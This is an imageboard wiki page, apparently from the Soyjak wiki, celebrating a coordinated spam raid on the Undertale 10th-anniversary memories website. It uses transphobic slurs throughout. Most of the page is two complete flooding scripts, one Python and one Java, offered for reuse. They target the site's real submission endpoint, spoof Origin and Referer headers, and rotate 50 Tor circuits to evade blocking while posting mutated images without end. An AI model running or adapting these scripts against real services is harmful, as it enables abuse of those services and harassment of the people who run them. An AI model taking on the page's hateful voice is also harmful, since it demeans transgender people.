Undertroon Memories Rape
![]() |
Undertroon Memories Rape was a Sharty neutralraid. You can update the page to reflect this. Reason(s): Nothing happened because nusoibigots can't slowburn GEEEEEEEEEEEEEEG |
Undertroon Memories Rape | |||||||
---|---|---|---|---|---|---|---|
![]() | |||||||
| |||||||
Belligerents | |||||||
![]() |
![]() | ||||||
Commanders and leaders | |||||||
![]() |
![]() | ||||||
Units involved | |||||||
![]() |
![]() | ||||||
Casualties and losses | |||||||
Several hours of time | Jannies clear out cado images |
On July 26th '25, Toby Fox created an "Undertale memories" website celebrating the 10th anniversary of the game. It allowed users to post their name, a 50x50 drawn avatar and their aforementioned memories with the game.
At first, 'teens started just making funny submissions, but one 'teen figured out how to paste the image data directly into the HTML which made it possible to add dithered images that would otherwise be incredibly tedious to add manually.[1]
As to be expected from Toby Fox, the website had terrible security (despite being hosted by cloudflare, for some reason he didn't enable any protection). Because of this, a 'teen was able to generate a console JavaScript code to spam requests, before evolving into a full-on Python script that spammed 'cados through 50 different TOR circuits.[2][3] Another script was created in Java.
We have not seen the reaction to it yet, but the general consensus so far is to consider this a winraid as we likely made undertroon tranny jannies go through an unthinkable amount of 'cado.
The submissions closed 24 hours after they first opened.
Python script[edit | edit source]
Requires httpx
version 0.27.2 (no later), install it using pip
.
import asyncio import concurrent.futures import random import requests import string import time from asyncio import AbstractEventLoop, Task from concurrent.futures import Future, ThreadPoolExecutor from httpx import AsyncClient, Timeout from requests import Response from typing import Dict, List # === Config === NUM_CIRCUITS: int = 50 # How many Tor circuits to use SEND_INTERVAL: int = 1 # Seconds between sends per circuit TARGET_URL: str = 'https://ut-10th-memory-keeper.fangamer.workers.dev/submit/' BASE_IMAGE: str = '1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r' BOUNDARY: str = '---------------------------3898813415902944604868174393' MUTATION_CHARACTER_SET: str = '0rtob1pgy' # Characters used for mutation def random_string(length: int = 10) -> str: """ Generate a random string of lowercase letters and digits. @param length Length of the random string to generate. @return Random string of specified length. """ return ''.join(random.choices(string.ascii_lowercase + string.digits, k = length)) def mutate_string(source_string: str, mutation_count: int = 250) -> str: """ Mutate a string by randomly changing a specified number of characters to random choices from the character set '0rtob1pgy'. @param source_string The original string to mutate. @param mutation_count Number of character positions to randomly modify. @return A new string with the specified number of characters mutated. """ if not source_string: return source_string actual_mutation_count: int = min(mutation_count, len(source_string)) mutable_characters: List[str] = list(source_string) for _ in range(actual_mutation_count): random_position: int = random.randrange(len(mutable_characters)) replacement_character: str = random.choice(MUTATION_CHARACTER_SET) mutable_characters[random_position] = replacement_character return ''.join(mutable_characters) def build_body(name: str, image: str, text: str) -> str: """ Build the multipart/form-data body for the request. @param name Name to include in the form data. @param image Image data to include in the form data. @param text Text to include in the form data. @return Formatted multipart body string. """ parts: List[str] = [ f'--{BOUNDARY}', f'Content-Disposition: form-data; name="name"\r\n\r\n{name}', f'--{BOUNDARY}', f'Content-Disposition: form-data; name="image"\r\n\r\n{image}', f'--{BOUNDARY}', f'Content-Disposition: form-data; name="text"\r\n\r\n{text}', f'--{BOUNDARY}--\r\n', ] return '\r\n'.join(parts) def send_request(session_id: int) -> None: """ Send a request to the target URL using a unique SOCKS5 proxy for each session. @param session_id Unique identifier for the session, used to create a unique SOCKS5 username. """ # Unique circuit ID used as SOCKS5 username proxy_username: str = f"circuit{session_id}" proxies: Dict[str, str] = { 'http': f'socks5h://{proxy_username}:pass@127.0.0.1:9050', 'https': f'socks5h://{proxy_username}:pass@127.0.0.1:9050', } while True: name: str = random_string(random.randint(6,12)) text: str = random_string(random.randint(12,24)) image: str = mutate_string(BASE_IMAGE, random.randint(200,300)) body: str = build_body(name, image, text) headers: Dict[str, str] = { 'Content-Type': f'multipart/form-data; boundary={BOUNDARY}', 'Content-Length': str(len(body)), 'Origin': 'https://memories.undertale.com', 'Referer': 'https://memories.undertale.com', } try: response: Response = requests.post(TARGET_URL, data = body.encode(), headers = headers, proxies = proxies, timeout = 10) except Exception as e: print(f"[{proxy_username}] ERROR - {e}") time.sleep(SEND_INTERVAL) async def send_request_async(session_id: int, executor: ThreadPoolExecutor) -> None: """ Send requests asynchronously with async control flow with threaded blocking operations. @param session_id Unique identifier for the session @param executor Executor for threads. """ proxy_username: str = f"circuit{session_id}" async with AsyncClient( proxies = f'socks5://circuit{session_id}:pass@127.0.0.1:9050', timeout = Timeout(10.0) ) as client: while True: loop: AbstractEventLoop = asyncio.get_event_loop() name_task: Future = loop.run_in_executor(executor, random_string, random.randint(6, 12)) text_task: Future = loop.run_in_executor(executor, random_string, random.randint(12, 24)) image_task: Future = loop.run_in_executor(executor, mutate_string, BASE_IMAGE, random.randint(200, 300)) name, text, image = await asyncio.gather(name_task, text_task, image_task) body: Future = await loop.run_in_executor(executor, build_body, name, image, text) headers: Dict[str, str] = { 'Content-Type': f'multipart/form-data; boundary={BOUNDARY}', 'Content-Length': str(len(body)), 'Origin': 'https://memories.undertale.com', 'Referer': 'https://memories.undertale.com', } try: response: Response = await client.post( TARGET_URL, content = body.encode(), headers = headers ) print(f"[{proxy_username}] Status: {response.status_code}") except Exception as e: print(f"[{proxy_username}] ERROR - {e}") await asyncio.sleep(SEND_INTERVAL) async def main_async() -> None: """ Main function to run asynchronously. """ print(f"Launching {NUM_CIRCUITS} Tor circuits with {SEND_INTERVAL:.1f}s interval each...") with ThreadPoolExecutor(max_workers = NUM_CIRCUITS * 2) as executor: tasks: List[Task] = [ asyncio.create_task(send_request_async(circuit_id, executor)) for circuit_id in range(NUM_CIRCUITS) ] try: await asyncio.gather(*tasks) except KeyboardInterrupt as e: print(f"\nShutting down gracefully... {e}") for task in tasks: task.cancel() await asyncio.gather(*tasks, return_exceptions = True) def main() -> None: """ Main entry point for the script. """ try: asyncio.run(main_async()) except KeyboardInterrupt as e: print(f"\nShutdown complete: {e}") if __name__ == "__main__": main() |
Java version[edit | edit source]
Requires okhttp3
, any version will do, you can get it off the Maven repository here.
package party.soyjak.soy; import java.io.IOException; import java.net.InetSocketAddress; import java.net.Proxy; import java.net.URL; import java.time.Duration; import java.util.List; import java.util.Random; import java.util.concurrent.CompletableFuture; import java.util.concurrent.Executors; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ThreadLocalRandom; import java.util.concurrent.TimeUnit; import java.util.stream.IntStream; import okhttp3.*; public class UndertroonMemoriesRape { private static final int NUM_CIRCUITS = 50; private static final int SEND_INTERVAL = 1; private static final URL TARGET_URL = new URL("https://ut-10th-memory-keeper.fangamer.workers.dev/submit/"); private static final String BASE_IMAGE = "1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r"; private static final String BOUNDARY = "---------------------------3898813415902944604868174393"; private static final String MUTATION_CHARACTER_SET = "0rtob1pgy"; private static final String CHARS = "abcdefghijklmnopqrstuvwxyz0123456789"; private static final Random random = new Random(); /** * Create an OkHttpClient with Tor SOCKS proxy for a specific circuit. * * @param circuitId The circuit ID for Tor circuit isolation. * @return Configured OkHttpClient with SOCKS proxy. */ public static OkHttpClient createTorClient(int circuitId) { String proxyUsername = "circuit" + circuitId; Proxy socksProxy = new Proxy( Proxy.Type.SOCKS, new InetSocketAddress("127.0.0.1", 9050) ); Authenticator proxyAuthenticator = (route, response) -> { String credential = Credentials.basic(proxyUsername, "pass"); return response.request().newBuilder() .header("Proxy-Authorization", credential) .build(); }; return new OkHttpClient.Builder() .proxy(socksProxy) .proxyAuthenticator(proxyAuthenticator) .connectTimeout(Duration.ofSeconds(10)) .readTimeout(Duration.ofSeconds(10)) .writeTimeout(Duration.ofSeconds(10)) .build(); } /** * Generate a random string of lowercase letters and digits. * * @param length Length of the random string to generate. * @return Random string of specified length. */ public static String randomString(int length) { StringBuilder sb = new StringBuilder(length); for (int i = 0; i < length; i++) { sb.append(CHARS.charAt(random.nextInt(CHARS.length()))); } return sb.toString(); } /** * Mutate a string by randomly changing a specified number of characters * to random choices from the character set '0rtob1pgy'. * * @param sourceString The original string to mutate. * @param mutationCount Number of character positions to randomly modify. * @return A new string with the specified number of characters mutated. */ public static String mutateString(String sourceString, int mutationCount) { if (sourceString == null || sourceString.isEmpty()) { return sourceString; } int actualMutationCount = Math.min(mutationCount, sourceString.length()); char[] mutableCharacters = sourceString.toCharArray(); for (int i = 0; i < actualMutationCount; i++) { int randomPosition = random.nextInt(mutableCharacters.length); char replacementCharacter = MUTATION_CHARACTER_SET.charAt( random.nextInt(MUTATION_CHARACTER_SET.length()) ); mutableCharacters[randomPosition] = replacementCharacter; } return new String(mutableCharacters); } /** * Build the multipart/form-data body for the request. * * @param name Name to include in the form data. * @param image Image data to include in the form data. * @param text Text to include in the form data. * @return Formatted multipart body string. */ public static String buildBody(String name, String image, String text) { return String.format(""" --%s\r Content-Disposition: form-data; name="name"\r \r %s\r --%s\r Content-Disposition: form-data; name="image"\r \r %s\r --%s\r Content-Disposition: form-data; name="text"\r \r %s\r --%s--\r """, BOUNDARY, name, BOUNDARY, image, BOUNDARY, text, BOUNDARY ); } /** * Send requests asynchronously using OkHttp with Tor SOCKS proxy. * * @param sessionId Unique identifier for the session. * @param executor The executor for scheduling tasks. * @return CompletableFuture that represents the ongoing operation. */ public static CompletableFuture<Void> sendRequestAsync(int sessionId, ScheduledExecutorService executor) { String proxyUsername = "circuit" + sessionId; OkHttpClient client = createTorClient(sessionId); return CompletableFuture.runAsync(() -> { while (!Thread.currentThread().isInterrupted()) { try { String name = randomString(ThreadLocalRandom.current().nextInt(6, 13)); String text = randomString(ThreadLocalRandom.current().nextInt(12, 25)); String image = mutateString(BASE_IMAGE, ThreadLocalRandom.current().nextInt(200, 301)); String body = buildBody(name, image, text); RequestBody requestBody = RequestBody.create(body, MediaType.get("multipart/form-data; boundary=" + BOUNDARY)); Request request = new Request.Builder() .url(TARGET_URL) .addHeader("Origin", "https://memories.undertale.com") .addHeader("Referer", "https://memories.undertale.com") .post(requestBody) .build(); client.newCall(request).enqueue(new Callback() { @Override public void onFailure(Call call, IOException e) { System.err.printf("[%s] ERROR - %s%n", proxyUsername, e.getMessage()); } @Override public void onResponse(Call call, Response response) throws IOException { System.out.printf("[%s] Status: %d%n", proxyUsername, response.code()); response.close(); } }); Thread.sleep(SEND_INTERVAL * 1000L); } catch (InterruptedException e) { Thread.currentThread().interrupt(); break; } catch (Exception e) { System.err.printf("[%s] ERROR - %s%n", proxyUsername, e.getMessage()); try { Thread.sleep(SEND_INTERVAL * 1000L); } catch (InterruptedException ie) { Thread.currentThread().interrupt(); break; } } } }, executor); } /** * Main async method. */ public static void mainAsync() { System.out.printf("Launching %d Tor circuits with %.1fs interval each...%n", NUM_CIRCUITS, (float)SEND_INTERVAL); ScheduledExecutorService executor = Executors.newScheduledThreadPool(NUM_CIRCUITS); try { List<CompletableFuture<Void>> futures = IntStream.range(0, NUM_CIRCUITS) .mapToObj(circuitId -> sendRequestAsync(circuitId, executor)) .toList(); CompletableFuture<Void> allTasks = CompletableFuture.allOf( futures.toArray(new CompletableFuture[0]) ); allTasks.join(); } catch (Exception e) { System.err.println("Error in main execution: " + e.getMessage()); } finally { executor.shutdownNow(); try { if (!executor.awaitTermination(5, TimeUnit.SECONDS)) { System.err.println("Executor did not terminate gracefully"); } } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } } /** * Main entry point for the application. * * @param args CLI arguments */ public static void main(String[] args) { try { mainAsync(); } catch (Exception e) { System.err.println("Shutdown complete: " + e.getMessage()); } } } |